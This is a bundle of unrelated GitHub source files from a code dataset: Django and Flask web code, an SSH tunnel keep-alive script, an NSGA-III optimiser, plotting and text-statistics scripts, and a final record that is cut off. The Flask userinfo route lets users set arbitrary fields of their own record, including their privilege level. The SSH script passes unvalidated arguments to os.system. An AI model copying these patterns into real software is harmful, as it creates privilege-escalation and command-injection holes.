{"seq_id":"41058285839","text":"from django.db.models import Q\n\nfrom dspdata.models import RawEmailData, EmailDataPoint\nfrom dspui import data_cluster\n\nMonth_Short = [\"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\", \"Jul\", \"Aug\", \"Sep\", \"Oct\", \"Nov\", \"Dec\"]\n\n\ndef load_by_year_month():\n    results = {}\n    for year in [2018, 2019, 2020]:\n        for month in range(0, 12):\n            results[f'{Month_Short[month]}_{year}'] = RawEmailData.objects.filter(\n                headers__contains=f\"{Month_Short[month]} {year}\").count()\n\n    return {\n        'labels': list(results.keys()),\n        'datasets': [\n            {\n                'label': \"Amount Found\",\n                'data': list(results.values()),\n            },\n        ]\n    }\n\n\ndef query_spam(filter_spam):\n    if filter_spam:\n        return Q(type=12, value=True)\n    else:\n        return Q()\n\n\ndef query_keyword(filter_keyword):\n    query = Q()\n    for keyword in filter_keyword:\n        query = query | Q(email__content_text__contains=keyword)\n    return query\n\n\ndef query_time(year_start, year_end):\n    query = Q()\n    for filter_year in range(year_start, year_end + 1):\n        for month in range(0, 12):\n            query = query | Q(email__headers__contains=f\"{Month_Short[month]} {filter_year}\")\n    return query\n\n\ndef load_by_year_month_filter(filter_year_start, filter_year_end, filter_spam, filter_keywords):\n    results = {}\n    for filter_year in range(filter_year_start, filter_year_end + 1):\n        for month in range(0, 12):\n            results[f'{Month_Short[month]}_{filter_year}'] = EmailDataPoint.objects \\\n                .filter(query_spam(filter_spam)) \\\n                .filter(email__headers__contains=f\"{Month_Short[month]} {filter_year}\") \\\n                .filter(query_keyword(filter_keywords)) \\\n                .order_by('email') \\\n                .values_list('email', flat=True) \\\n                .distinct() \\\n                .count()\n\n    return {\n        'labels': list(results.keys()),\n        'datasets': [\n            {\n                'label': \"Amount Found\",\n                'data': list(results.values()),\n            },\n        ]\n    }\n\n\ndef load_cluster_data(filter_year_start, filter_year_end, filter_spam, filter_keywords):\n    email_ids = EmailDataPoint.objects \\\n        .filter(query_spam(filter_spam)) \\\n        .filter(query_time(filter_year_start, filter_year_end)) \\\n        .filter(query_keyword(filter_keywords)) \\\n        .order_by('email') \\\n        .values_list('email', flat=True) \\\n        .distinct()\n    strings_id = RawEmailData.objects.filter(id__in=email_ids).values_list('content_text', 'id')\n    tfidf = data_cluster.create_tfidf([x[0] for x in strings_id])\n    datasets, labels = data_cluster.create_plot_cluster(tfidf)\n    return {\n        'plotting': {\n            'datasets': list(datasets.values())\n        },\n        'clusterData': {\n            'labels': labels.tolist(),\n            'data': list([x[0] for x in strings_id]),\n            'id': [x[1] for x in strings_id]\n        }\n    }\n\n\ndef load_year_month_email_filter(time_step, filter_spam, filter_keywords):\n    email_ids = EmailDataPoint.objects \\\n        .filter(query_spam(filter_spam)) \\\n        .filter(email__headers__contains=f\"{time_step[0]} {time_step[1]}\") \\\n        .filter(query_keyword(filter_keywords)) \\\n        .order_by('email') \\\n        .values_list('email', flat=True) \\\n        .distinct()\n\n    return RawEmailData.objects.filter(id__in=email_ids)\n","repo_name":"UvA-DataSystemsProject-F4/dsp","sub_path":"dspui/data_handler.py","file_name":"data_handler.py","file_ext":"py","file_size_in_byte":3427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"15316352359","text":"from flask import Flask, request, Response\nimport joblib\nimport json\n\nclassifier = joblib.load('./prob_classifier.joblib')\nvectorizer = joblib.load('./prob_vectorizer.joblib')\n\napp = Flask(__name__)\n\n\n@app.route('/predict', methods=['POST'])\ndef predict():\n    request_data = request.get_json()\n    vectorizedMessage = vectorizer.transform([request_data['message']])\n    dist = list(classifier.predict_proba(vectorizedMessage)[0])\n    return Response(json.dumps(dist), mimetype='application/json')\n","repo_name":"angelrojasm/proyecto-final-isc","sub_path":"models/server/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"28403234667","text":"from loguru import logger\nimport logging\nimport os\nfrom plunkylib import PLUNKYLIB_BASE_DIR\n\n# if there's no \"CATACLYSM_BASE_DIR\" env variable, set it to './datafiles/cataclysm'\n# this is the default directory for all cataclysm datafiles\nif os.getenv(\"CATACLYSM_BASE_DIR\") is None:\n    CATACLYSM_BASE_DIR = \"./datafiles/cataclysm\"\nelse:\n    CATACLYSM_BASE_DIR = os.getenv(\"CATACLYSM_BASE_DIR\")\n    CATACLYSM_BASE_DIR = CATACLYSM_BASE_DIR.rstrip(\"/\")\n\n\n# Configure logging\nlogs_dir = os.environ.get('CATACLYSM_LOGS_DIR', './logs/')\n\n# Create a file sink that writes log messages to cataclysm.log in the logs directory\nfile_sink = {\n    \"sink\": os.path.join(logs_dir, \"cataclysm.log\"),\n    \"format\": \"{time} - {message}\",\n}\n\n# Add the file sink to Loguru's sinks\nlogger.add(**file_sink)\n\n# disable debug logging for the plunkylib module\nlogger.disable(\"plunkylib\")\n# disable warning logging for the datafiles module\nlogger.disable(\"datafiles\")\n\nlogging.getLogger(\"datafiles\").setLevel(logging.ERROR)\n\n\ndef initialize_datafiles(base_dir = \".\"):\n    print(\"cataclysm - initializing datafiles in directory: \" + base_dir)\n    # Replace this with the name of your package\n    def get_top_level_package_name():\n        return __name__.split('.')[0]\n\n    package_name = get_top_level_package_name()\n    \n    minimum_file_suffixes = [\n        f\"datafiles/plunkylib/petition/CataclysmQuery.yml\",\n        f\"datafiles/plunkylib/prompts/CataclysmPrompt.yml\",\n        f\"datafiles/plunkylib/params/CataclysmLLMParams.yml\",\n        f\"datafiles/plunkylib/params/CataclysmLLMParams_3-5.yml\",\n        f\"env.template.cataclysm\"\n    ]\n\n    from pkg_resources import resource_filename\n    import shutil\n    def copy_files_to_destination(package_name, file_suffixes, destination):\n        for file_suffix in file_suffixes:\n            # replace 'datafiles/plunkylib' in the suffix with PLUNKYLIB_BASE_DIR\n            dest_file_suffix = file_suffix.replace(\"datafiles/plunkylib\", PLUNKYLIB_BASE_DIR)\n            dest_filename = os.path.join(destination, dest_file_suffix)\n            if not os.path.exists(dest_filename):\n                print(\"  Copying default file to \" + dest_filename)\n                # Get the path to the file within the package\n                source_file = resource_filename(package_name, \"default_files/\" + file_suffix)\n                print(\"  source_file: \" + source_file)\n\n                # Construct the destination file path\n                destination_file = dest_filename\n                print(\"  destination_file: \" + destination_file)\n\n                # Create any necessary directories in the destination path\n                os.makedirs(os.path.dirname(destination_file), exist_ok=True)\n\n                # Copy the file\n                shutil.copy2(source_file, destination_file)\n\n    copy_files_to_destination(package_name, minimum_file_suffixes, base_dir)\n\nfrom .yamlformat import *\nfrom .doomed import doom\nfrom .total import consume\n\ndef main():\n    # logging config should exclude warnings\n    config = {\n        \"handlers\": [\n            {\"sink\": os.path.join(logs_dir, \"cataclysm.log\"), \"format\": \"{time} - {message}\"},\n        ],\n        \"extra\": {\"user\": \"someone\"},\n    }\n    logger.configure(**config)\n    import log\n    log.silence(\"datafiles\")\n    log.silence(\"openai\")\n    log.silence(\"chronological\")\n\n    # if they passed in the \"init\" argument, initialize the datafiles\n    import sys\n    if len(sys.argv) > 1 and sys.argv[1] == \"init\":\n        initialize_datafiles()\n        return\n    \n    # for now tell them we only have one command-line parameter (init) and what it does\n    print(\"\\ncataclysm: Embracing the End of Software Development\\n\")\n    print(\"    DISCLAIMER: cataclysm generates AI-designed code and executes it.\")\n    print(\"                This is dangerous-- use at your own peril! 😱\\n\")\n    print(\"\\nUsage: cataclysm <command>\\n\")\n    print(\"Commands:\")\n    print(\"\\tinit:\\tinitialize the datafiles in the current directory\\n\")\n    # print the location to the base github repo\n    print(\"For more information or to report issues, visit https://github.com/Mattie/cataclysm\\n\")\n\n\nif __name__ == \"__main__\":\n    main()","repo_name":"Mattie/cataclysm","sub_path":"cataclysm/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":4165,"program_lang":"python","lang":"en","doc_type":"code","stars":396,"dataset":"github-code","pt":"35"}
{"seq_id":"30640701349","text":"import unittest  # second tests\nfrom src.core.processing_pipe.src.Job import Job\n\n\nclass JobTestCase(unittest.TestCase):\n\n    def test_datetime_from_string(self):\n        job = Job(\"\", \"\", None, 0)\n        iterator = job.fibonacci(14)\n        fibonacci_lookup_table = [2, 3, 5, 8, 13]\n        for i in range(5):\n            try:\n                self.assertEqual(fibonacci_lookup_table[i], next(iterator))\n                continue\n            except StopIteration:\n                del iterator\n                break\n\ndef suite():\n    suite = unittest.TestSuite()\n    suite.addTest(JobTestCase())\n\n    return suite\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"SardegnaClimaOnlus/ichnosat","sub_path":"src/tests/processing_pipe/test_job.py","file_name":"test_job.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"33546030469","text":"import matplotlib.pyplot as plt\nimport cartopy.crs as ccrs\n\n# Sample data: list of latitude and longitude coordinates\nlatitude = [40.7128, 37.7749, 34.0522, 41.8781]\nlongitude = [-74.0060, -122.4194, -118.2437, -87.6298]\n\n# Create the figure and axis objects using Cartopy\nplt.figure(figsize=(10, 6))\nax = plt.axes(projection=ccrs.PlateCarree())\n\n# Set the extent of the map (in this case, it will show the entire world)\nax.set_global()\n\n# Add a coastline feature to the map\nax.coastlines()\n\n# Plot the points on the map\nax.scatter(longitude, latitude, color='red', s=100, transform=ccrs.PlateCarree())\n\n# Add a title to the plot\nplt.title(\"Map with a Set of Points\")\n\n# Show the plot\nplt.show()\n","repo_name":"ravi19ved/tide-analysis","sub_path":"spectral-analysis/tide_map.py","file_name":"tide_map.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"15764823807","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nimport time\nimport socket\nimport asyncio\nimport sys\nimport json\n\nif len(sys.argv) is not 5:\n    print(\"remote_host, remote_user, ssh_port, tunnel_host, port_list\")\nremote_host = sys.argv[1]\nremote_user = sys.argv[2]\nssh_port = sys.argv[3]\ntunnel_host = sys.argv[4]\nport_list = json.loads(sys.argv[5])\n\n\nprint(sys.argv)\n \ndef generate_restart_command_dict(remote_host, remote_user, ssh_port, tunnel_host, port_list):\n    d = {}\n    for port in port_list:\n        # port[0] local_port, port[1] remote_port\n        d[str(port[0])] = f\"ssh -Nf -p {ssh_port} {port[0]}:{tunnel_host}:{port[1]} {remote_user}:{remote_host}\"\n    return d\n\n\nRESTART_COMMAND_DICT = generate_restart_command_dict(remote_host, remote_user, ssh_port, tunnel_host, port_list)\nprint(\"commands\", RESTART_COMMAND_DICT)\n\n\ndef is_port_open(port):\n    is_open = False\n    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    result = sock.connect_ex(('127.0.0.1', int(port)))\n    if result == 0:\n        is_open = True\n        print(\"Port %d is open\" % int(port))\n    else:\n        print(\"Port %d is not open\" % int(port))\n    sock.close()\n    return is_open\n\n\nasync def is_ports_open(port_list):\n    is_open_dict = {}\n    for port in port_list:\n        is_open_dict[port] = True if is_port_open(port) else False\n    await asyncio.sleep(5)\n    return is_open_dict\n\n\ndef restart_port_service(port):\n    cmd = RESTART_COMMAND_DICT[port]\n    if not is_port_open(port):\n        print(\"===> restart port service:\", cmd)\n        os.system(cmd)\n    print(\"===> check again: \")\n    is_port_open(port)\n\n\ndef restart_ports_service(port_list):\n    for port in port_list:\n        restart_port_service(str(port[0]))\n        print()\n\n\ndef main():\n    while True:\n        restart_ports_service(port_list)\n        time.sleep(3)\n\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"QAlexBall/script","sub_path":"keep_port_servie_runnning.py","file_name":"keep_port_servie_runnning.py","file_ext":"py","file_size_in_byte":1881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"33687139771","text":"import argparse\nimport os\nimport pathlib\nimport warnings\n\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\n\nimport torch\nimport mxnet as mx\nfrom transformers import AutoTokenizer, AutoModelForMaskedLM\nfrom mlm.models import get_pretrained\nfrom mlm.scorers import MLMScorerPT \nfrom wordbank_tasks import discriminative_task_all_words, find_rank_of_first\n\n\nDB_FILE = 'wordbank.db'\nDB_PATH = pathlib.Path(os.getcwd()).parent.absolute() / 'data' / DB_FILE\n\n\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument('-c', '--checkpoint-name', required=True)\nparser.add_argument('-o', '--output-folder', default=None)\nDEFAULT_SENTENCES_PER_WORD = 'all'\nparser.add_argument('-s', '--sentences-per-word', default=DEFAULT_SENTENCES_PER_WORD)\nDEFAULT_ALTERNATIVE_WORDS = 'all'\nparser.add_argument('-w', '--alternative-words', default=DEFAULT_ALTERNATIVE_WORDS)\nDEFAULT_RANDOM_SEED = 33\nparser.add_argument('-r', '--random-seed', default=DEFAULT_RANDOM_SEED, type=int)\nparser.add_argument('-d', '--original-dataset', default=None)\nparser.add_argument('--different-category-alternative-words', action='store_true')\nDEFAULT_THRESHOLD = 0.5\nparser.add_argument('-t', '--threshold', default=DEFAULT_THRESHOLD, help='Threshold for criterion func')\nDEFAULT_BATCH_SIZE = 1024\nparser.add_argument('-b', '--batch-size', default=DEFAULT_BATCH_SIZE, type=int)\n\n\ndef scorer_from_transformers_checkpoint(checkpoint_name, contexts, device):\n    try:\n        model, vocab, tokenizer = get_pretrained(ctxs=contexts, name=checkpoint_name)\n    except ValueError as e:\n        print(f'mlm.models.get_pretrained failed, defaulting to Transformers: {e.args}')\n        model = AutoModelForMaskedLM.from_pretrained(checkpoint_name)\n        tokenizer = AutoTokenizer.from_pretrained(checkpoint_name)\n        vocab = None\n\n    return MLMScorerPT(model, vocab, tokenizer, ctxs=contexts, device=device)\n\n\ndef main(args):\n    contexts = [mx.gpu(0) if torch.cuda.is_available() else mx.cpu()]\n    device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n    scorer = scorer_from_transformers_checkpoint(args.checkpoint_name, contexts, device)\n    engine = create_engine(f'sqlite:///{DB_PATH}')\n    Session = sessionmaker(bind=engine)\n    \n    warnings.filterwarnings('ignore', category=UserWarning, module='gluonnlp.data')\n\n    if args.sentences_per_word != 'all':\n        args.sentences_per_word = int(args.sentences_per_word)\n\n    if args.alternative_words != 'all':\n        args.alternative_words = int(args.alternative_words)\n\n    results_df = discriminative_task_all_words(\n        session_maker=Session, n_sentences_per_word=args.sentences_per_word,\n        n_alternative_words=args.alternative_words, model_name=args.checkpoint_name,\n        scorer=scorer, criterion_func=find_rank_of_first, batch_size=args.batch_size,\n        random_seed=args.random_seed, same_category_words=not args.different_category_alternative_words,\n        original_dataset=args.original_dataset, criterion_func_kwargs=dict(threshold=args.threshold))\n\n    name = args.checkpoint_name.replace('/', '_')\n    if args.output_folder is None:\n        args.output_folder = '.'\n\n    output_file = f'{name}_sentences-{args.sentences_per_word}_words-{args.alternative_words}_seed-{args.random_seed}'\n    output_file += f'_{args.different_category_alternative_words and \"diff\" or \"same\"}-category-words_{args.original_dataset is not None and args.original_dataset or \"both-datasets\"}.csv'\n\n    results_df.to_csv(pathlib.Path(args.output_folder).absolute() / output_file)\n        \n\nif __name__ == '__main__':\n    args = parser.parse_args()\n    main(args)\n","repo_name":"guydav/language-models-wordbank","sub_path":"model/run_discriminative_task.py","file_name":"run_discriminative_task.py","file_ext":"py","file_size_in_byte":3629,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"20423543354","text":"from flask import Blueprint,render_template,request,session,jsonify,url_for,abort,g,redirect\nfrom market.models import db,MarketStaff\nfrom market.utils import hash_password,md5\nfrom market.interceptors import login_required\nimport time\nuser = Blueprint(\"user\",__name__,template_folder='templates',static_folder='static')\n\n@user.route(\"/login\",methods=['POST'])\ndef log():\n    jsoninput = request.get_json()\n    user = MarketStaff.query\\\n            .filter(MarketStaff.telephone==jsoninput.get('telephone'))\\\n            .filter(MarketStaff.password_hash==hash_password(jsoninput.get('password')))\\\n            .filter(MarketStaff.delete==False).first()\n    if user is not None:\n        session['level'] = user.level\n        session['id'] = user.id\n        if user.level != 'admin':\n            return jsonify({\"success\":True,\"data\":\"登录成功\",\"redirect\":url_for('browse.browse_home')})\n        else:\n            return jsonify({\"success\":True,\"data\":\"登录成功\",\"redirect\":url_for('manage.manage_home')})\n    else:\n        return jsonify({\"success\":False,\"details\":\"用户名或密码错误\"})\n\n\n@user.route('/register',methods=['POST'])\ndef reg():\n    jsoninput = request.get_json()\n    _u = MarketStaff(\n        name = jsoninput.get('name'),\n        password_hash = hash_password(jsoninput.get('password')),\n        telephone = jsoninput.get('telephone'),\n        salary = jsoninput.get('salary'),\n        staff_id = md5(str(time.time()))\n    )\n    db.session.add(_u)\n    try:\n        db.session.commit()\n        return jsonify({\"success\":True,\"data\":\"注册成功\"})\n    except Exception as e:\n        print(e)\n        db.session.rollback()\n        return jsonify({\"success\":False,\"details\":\"该电话号码已存在\"})\n    \n@user.route('/userinfo',methods=['GET','POST'])\n@login_required\ndef userinfo_handler():\n    if request.method=='GET':\n        this_user = MarketStaff.query.filter(MarketStaff.id==g.id).first()\n        return jsonify(this_user.todict())\n    elif request.method=='POST':\n        jsoninput = request.form\n        key = jsoninput.get('key')\n        value = jsoninput.get('value')\n        if not key or not value:\n            abort(500)\n        if key=='id':\n            abort(403)\n        MarketStaff.query.filter(MarketStaff.id==g.id).update({key:value})\n        try:\n            db.session.commit()\n        except Exception as e:\n            print(e)\n            db.session.rollback()\n        return redirect(url_for('manage.manage_home'))\n","repo_name":"KZNS/scsx-market","sub_path":"market/views/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":2474,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"35"}
{"seq_id":"19891646842","text":"import numpy as np\nimport pandas as pd\nimport streamlit as st\n\n# Add a selectbox to the sidebar:\nadd_selectbox = st.sidebar.selectbox(\n    \"How would you like to be contacted?\", (\"Email\", \"Home phone\", \"Mobile phone\")\n)\n\n# Add a slider to the sidebar:\nadd_slider = st.sidebar.slider(\"Select a range of values\", 0.0, 30.0, (5.0, 10.0))\n\n\n_ = [int(i) for i in add_slider]\ndf = pd.DataFrame(np.random.randn(*_))\n\nadd_selectbox\ndf\n","repo_name":"0xdomyz/python_collection","sub_path":"ui/streamlit_tute/sidebar_input.py","file_name":"sidebar_input.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"7555713032","text":"# -*- coding: utf-8 -*-\nimport time\nimport numpy as np\nimport geatpy as ea # 导入geatpy库\nfrom sys import path as paths\nfrom os import path as path\npaths.append(path.split(path.split(path.realpath(__file__))[0])[0])\n\nclass moea_NSGA3_templet(ea.Algorithm): # 继承Algorithm算法模板父类\n    \n    \"\"\"\nmoea_NSGA3_templet : class - 基于NSGA-III算法求解多目标优化问题的进化算法模板\n    \n算法描述:\n    采用NSGA-III进行多目标优化\n    \n模板使用注意:\n    1.本模板调用的目标函数形如：[ObjV,CV] = aimFuc(Vars, CV), \n      其中Vars表示决策变量矩阵, CV为种群的违反约束程度矩阵(详见Geatpy数据结构),\n    若不符合上述规范，则请修改算法模板或自定义新算法模板。\n\n参考文献:\n    [1] Deb K , Jain H . An Evolutionary Many-Objective Optimization Algorithm \n    Using Reference-Point-Based Nondominated Sorting Approach, Part I: \n    Solving Problems With Box Constraints[J]. IEEE Transactions on \n    Evolutionary Computation, 2014, 18(4):577-601.\n    \n    \"\"\"\n    \n    def __init__(self, problem, population):\n        self.name = 'NSGA3'\n        self.problem = problem\n        self.population = population\n        self.ndSort = ea.ndsortESS # 设置非支配排序算子\n        self.selFunc = 'tour' # 选择方式，采用锦标赛选择\n        if population.Encoding == 'B' or population.Encoding == 'G':\n            self.recFunc = 'xovud' # 均匀交叉\n            self.mutFunc = 'mutbin' # 二进制变异\n        else:\n            self.mutFunc = 'mutpolyn' # 多项式变异\n            if population.conordis == 0:\n                self.recFunc = 'recsbx' # 模拟二进制交叉\n            elif population.conordis == 1:\n                self.recFunc = 'xovud' # 均匀交叉\n        self.pc = 1 # 重组概率\n        self.pm = 1 # 变异概率\n        self.drawing = 1 # 绘图\n        self.ax = None # 存储上一桢动画\n        self.passTime = 0 # 记录用时\n    \n    def calFitnV(self, population, NUM, uniformPoint):\n        \"\"\"\n        描述:\n            计算种群个体的适应度\n        算法:\n            先对所需个体进行非支配排序分级，然后利用参考点关联选出所需要数量的点，最后结合帕累托分级以及是否被选择来计算适应度。    \n        输出参数:\n            FitnV : array - 种群个体的适应度列向量\n        \"\"\"\n        \n        [levels, criLevel] = self.ndSort(self.problem.maxormins * population.ObjV, NUM, None, population.CV) # 对NUM个个体进行非支配分层\n        chooseFlag = ea.refselect(self.problem.maxormins * population.ObjV, levels, criLevel, NUM, uniformPoint, True) # 根据参考点选择个体(True表示使用伪随机数方法，可以提高速度，详见refselect帮助文档)\n        FitnV = np.array([1 / (levels - chooseFlag + 1)]).T # 计算适应度\n        return FitnV\n    \n    def terminated(self, population): # 判断是否终止进化\n        if self.currentGen < self.MAXGEN:\n            self.passTime += time.time() - self.timeSlot # 更新用时记录\n            if self.drawing == 2:\n                self.ax = ea.moeaplot(population.ObjV, False, self.ax, self.currentGen) # 绘制动态图\n            self.timeSlot = time.time() # 更新时间戳\n            self.currentGen += 1 # 进化代数+1\n            return False\n        else:\n            return True\n    \n    def run(self):\n        #==========================初始化配置===========================\n        population = self.population\n        self.timeSlot = time.time() # 开始计时\n        uniformPoint, NIND = ea.crtup(self.problem.M, population.sizes) # 生成在单位目标维度上均匀分布的参考点集\n        if population.Chrom is None or population.sizes != NIND:\n            population.initChrom(NIND) # 初始化种群染色体矩阵（内含解码，详见Population类的源码），此时种群规模将调整为uniformPoint点集的大小，initChrom函数会把种群规模给重置\n        population.ObjV, population.CV = self.problem.aimFuc(population.Phen, population.CV) # 计算种群的目标函数值\n        self.evalsNum = population.sizes # 记录评价次数\n        #===========================开始进化============================\n        self.currentGen = 0\n        while self.terminated(population) == False:\n            # 选择个体参与进化\n            offspring = population[ea.selecting(self.selFunc, population.FitnV, NIND)]\n            # 对基个体进行进化操作\n            offspring.Chrom = ea.recombin(self.recFunc, offspring.Chrom, self.pc) #重组\n            offspring.Chrom = ea.mutate(self.mutFunc, offspring.Encoding, offspring.Chrom, offspring.Field, self.pm) # 变异\n            offspring.Phen = offspring.decoding() # 解码\n            offspring.ObjV, offspring.CV = self.problem.aimFuc(offspring.Phen, offspring.CV) # 求进化后个体的目标函数值\n            self.evalsNum += offspring.sizes # 更新评价次数\n            # 合并\n            population = population + offspring\n            population.FitnV = self.calFitnV(population, NIND, uniformPoint) # 计算合并种群的适应度\n            population = population[ea.selecting('dup', population.FitnV, NIND)] # 选择操作，保留NIND个个体\n        # 得到非支配种群\n        [levels, criLevel] = self.ndSort(self.problem.maxormins * population.ObjV, NIND, 1, population.CV) # 非支配分层\n        NDSet = population[np.where(levels == 1)[0]] # 只保留种群中的非支配个体，形成一个非支配种群\n        NDSet = NDSet[np.where(np.all(NDSet.CV <= 0, 1))[0]] # 最后要彻底排除非可行解\n        self.passTime += time.time() - self.timeSlot # 更新用时记录\n        # 绘图\n        if self.drawing != 0:\n            ea.moeaplot(NDSet.ObjV, True)\n        \n        # 返回帕累托最优集\n        return NDSet\n","repo_name":"almumujin/al_base","sub_path":"venv/Lib/site-packages/geatpy/templates/moeas/nsga3/moea_NSGA3_templet.py","file_name":"moea_NSGA3_templet.py","file_ext":"py","file_size_in_byte":5907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"38345221691","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Apr 18 13:13:13 2019\n\n@author: antoineleblevec\n\"\"\"\n\nimport os\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport fonctions as f1\nfrom functools import reduce\n#from statistics import mean \n\nRe = 6371032 \nH = 250e3\nlllat = 33.7; urlat = 43.7; lllon = 133.6; urlon = 150.6\nelon = 142 \nelat = 38 \nepoque1 = 21183\nepoque2 = 21883\nstation = []; df = []; lon_station = []; lat_station = []; lat = []; lon= [];\nlon_sip_max = []; lat_sip_max = []; tec = []; vtec=[]; saq = []\ndf_el = pd.DataFrame(); df_az = pd.DataFrame(); df_tec = pd.DataFrame()\n\ndirectory = os.path.join('/Users/antoineleblevec/Desktop/G26')\nrep = os.path.abspath(os.path.expanduser(directory))\nfiles = os.listdir(rep) \nfiles.sort()\nos.chdir(directory)\n\nfor i in range(len(files)):\n    name = files[i].split('_')\n    station.append(name[0])\n    df.append(f1.read(files[i],epoque1,epoque2))\n    df[i] = df[i].set_index(\"tsn\")\n    df[i].columns = ['el_{0}'.format(station[i]), 'az_{0}'.format(station[i]), 'tec_{0}'.format(station[i])]\n    lon_station.append(f1.lecture_lon(files[i]))\n    lat_station.append(f1.lecture_lat(files[i]))\ndftot = reduce(lambda x, y: pd.merge(x, y, on = \"tsn\"), df)\ndf_lat_station = pd.DataFrame([lat_station])\ndf_lon_station = pd.DataFrame([lon_station])\nfor j in range(len(files)):\n    df_el = df_el.append(dftot['el_{0}'.format(station[j])])\n    df_az = df_az.append(dftot['az_{0}'.format(station[j])])\n    df_tec = df_tec.append(dftot['tec_{0}'.format(station[j])])\ndf_el = np.radians(df_el).T\ndf_az = np.radians(df_az).T\ndf_tec = df_tec.T\ndf_tec = df_tec - df_tec.iloc[0]\ndf_x = np.arcsin((Re * np.cos(df_el)) / (Re + H))\ndf_ksi = (np.pi / 2) - (df_el.add((df_x), fill_value=0))\ntplat = pd.np.multiply(np.sin(df_ksi),np.cos(df_az))\ntplon = pd.np.multiply(np.sin(df_ksi),np.sin(df_az))\ndf_lat = np.arcsin(pd.np.multiply(np.cos(df_ksi),np.sin(df_lat_station)) + \n                   pd.np.multiply(tplat,np.cos(df_lat_station)))\ntpplon = np.arcsin(pd.np.divide(tplon,np.cos(df_lat)))\ndf_lon = pd.np.add(tpplon,df_lon_station)\ndf_vtec = pd.np.multiply(df_tec,np.cos(df_x))\n\n## détection de l'indice, en partant de 0, de la première apparition de l'onde en regardant le VTEC\ndef detec_tid(station): \n    a = df_vtec['tec_{0}'.format(station)]\n    for i in range(len(a)): \n        if abs(a.iloc[i+1]-a.iloc[i]) > 0.030 : \n            break\n    return i\n\ndef devtec(station, i): \n    return df_vtec['tec_{0}'.format(station)].iloc[i]\n\ndef delon(station, i): \n    return df_lon['el_{0}'.format(station)].iloc[i]\n\ndef delat(station, i):\n    return df_lat['el_{0}'.format(station)].iloc[i]\n#\n\nfor i in range (100):  \n    fig = plt.figure()\n    for k in station :        \n        vtec.append(devtec(k, detec_tid(k)+i))\n        lon_sip_max.append(delon(k, detec_tid(k)+i))\n        lat_sip_max.append(delat(k, detec_tid(k)+i))\n\n    m = f1.basic_japan_map(lllat, urlat, lllon, urlon, elon, elat) \n    x, y = m(np.degrees(lon_sip_max), np.degrees(lat_sip_max))\n    m.hexbin(x,\n             y,\n             C=vtec,\n             reduce_C_function=np.mean,\n             gridsize=20, \n             cmap=\"plasma\")\n    plt.title('Max VTEC with Hion:{0} m {1}s après earthquake'.format(H,i+400))\n    cbaxes = fig.add_axes([0.90, 0.1, 0.01, 0.8]) \n    cb = plt.colorbar(cax=cbaxes)\n    m.colorbar()\n    plt.gcf()\n    fig.savefig(f\"/Users/antoineleblevec/Desktop/frames/realtime_{i:04d}.png\", \n                frameon=False, pad_inches=0)\n    cbaxes.clear()\n\n\n# =============================================================================\n# à utiliser si points aberrants\n# =============================================================================\n#for i,a in enumerate(saq) : \n#    if abs(mean(saq)-a) > 30 : \n#        saq.pop(i)\n#        lon_sip_max.pop(i)\n#        lat_sip_max.pop(i)\n#        station.pop(i)\n#        vtec.pop(i)\n","repo_name":"aleblevec/git-ionosphere-seism","sub_path":"hodochrones/hodor_real_time.py","file_name":"hodor_real_time.py","file_ext":"py","file_size_in_byte":3902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"11642732256","text":"from sklearn.datasets import fetch_20newsgroups\nimport matplotlib.pyplot as plt\nimport nltk\nfrom nltk.corpus import stopwords\nimport gensim\nfrom tabulate import tabulate\nimport statistics\n\ndef main():\n    news_corpus = fetch_20newsgroups(subset='all', remove=('headers', 'footers', 'quotes'), shuffle=False)\n    nltk.download('stopwords')\n    nltk.download('punkt')\n    stoplist = stopwords.words('english')\n\n    tokens = []\n    tokenCount = {}\n    wordsCount = []\n    no_of_docs = 0\n\n    for doc in news_corpus.data:\n        # print(doc)\n        no_of_docs = no_of_docs + 1\n        words = gensim.utils.simple_preprocess(doc, True, 3)\n        wordsCount.append(len(words))\n        words_list_per_doc = []\n        for word in words:\n            if word not in stoplist:\n                tokens.append(word)\n                words_list_per_doc.append(word)\n        # print(words_list_per_doc)\n\n    stats = [[no_of_docs, len(tokens), len(set(tokens)),\n              min(wordsCount), max(wordsCount), statistics.mean(wordsCount), statistics.stdev(wordsCount)]]\n    print(tabulate(stats, headers=[\"# of docs\",\n                                   \"# of words\", \"# of unique words\",\n                                   \"min words\", \"max words\", \"mean words\", \"std of words\"]))\n    with open('pre_process_stats.txt', 'w') as outputfile:\n        outputfile.write(\n            tabulate(stats, headers=[\"# of docs\",\n                                     \"# of words\", \"# of unique words\",\n                                     \"min words\", \"max words\", \"mean words\", \"std of words\"]))\n\n    for word in tokens:\n        tokenCount[word] = tokenCount.get(word, 0) + 1\n\n    